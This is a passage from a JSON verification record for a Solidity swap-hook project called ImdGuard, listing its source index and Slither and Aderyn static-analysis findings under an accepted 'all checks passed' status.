tests)\n","passed":true},{"durationMs":114,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"ImdGuard.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"ImdGuard.cappedSwap((address,address,uint24,int24,address),bool,uint256,uint256,uint160)\",\"ImdGuard.claimFees()\",\"ImdGuard.pause()\",\"ImdGuard.unlockCallback(bytes)\",\"ImdGuard.unpause()\"],\"files\":{\".gitignore\":4,\"README.md\":121,\"docs/DEPENDENCIES.md\":11,\"docs/REVIEW.md\":36,\"foundry.toml\":19,\"remappings.txt\":3,\"script/MineImdGuard.s.sol\":40,\"src/ImdGuard.sol\":336,\"src/libraries/OpeningPrice.sol\":32,\"test/Boundaries.t.sol\":152,\"test/Deployment.t.sol\":96,\"test/ImdGuard.t.sol\":382,\"test/OpeningPrice.t.sol\":276,\"test/Settlement.t.sol\":137,\"test/helpers/ArbSysMock.sol\":11,\"test/helpers/SettlementActions.sol\":105},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":4425,"exitCode":0,"name":"slither","output":"[medium/medium] uninitialized-local at src/ImdGuard.sol:226: ImdGuard._sell(PoolKey,IPoolManager.SwapParams,uint256,bool,uint160).delta_scope_0 (src/ImdGuard.sol#226) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ImdGuard.sol:179: ImdGuard._buy(PoolKey,IPoolManager.SwapParams,uint256,bool,uint160).delta_scope_0 (src/ImdGuard.sol#179) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ImdGuard.sol:180: ImdGuard._buy(PoolKey,IPoolManager.SwapParams,uint256,bool,uint160).capped (src/ImdGuard.sol#180) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ImdGuard.sol:227: ImdGuard._sell(PoolKey,IPoolManager.SwapParams,uint256,bool,uint160).capped (src/ImdGuard.sol#227) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ImdGuard.sol:228: ImdGuard._sell(PoolKey,IPoolManager.SwapParams,uint256,bool,uint160).minimumInput (src/ImdGuard.sol#228) is a local variable never initialized\n[medium/medium] unused-return at src/ImdGuard.sol:114: ImdGuard.beforeSwap(address,PoolKey,IPoolManager.SwapParams,bytes) (src/ImdGuard.sol#114-152) ignores return value by (opening,None,None,None) = poolManager.getSlot0(id) (src/ImdGuard.sol#134)\n[low/medium] reentrancy-benign at src/ImdGuard.sol:296: Reentrancy in ImdGuard.claimFees() (src/ImdGuard.sol#296-305):","passed":true},{"durationMs":689,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/ImdGuard.sol:132: Reentrancy: State change after external call (2 places)\n[low] large-numeric-literal at src/ImdGuard.sol:31: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/libraries/OpeningPrice.sol:23: Literal Instead of Constant (2 places)\n[low] non-reentrant-not-first at src/ImdGuard.sol:117: `nonReentrant` is Not the First Modifier\n[low] unchecked-return at src/ImdGuard.sol:172: Unchecked Return (4 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"a026701c3dab925bff2398aca2e7017a8e6b842498912f5a5eb687cfeb0f972e","verifiedTreeHash":"2180fa9451bc6dc535d9f394aa8078957f8c5a0f","verifierVersion":"0.1.0+560ab6a2"}]}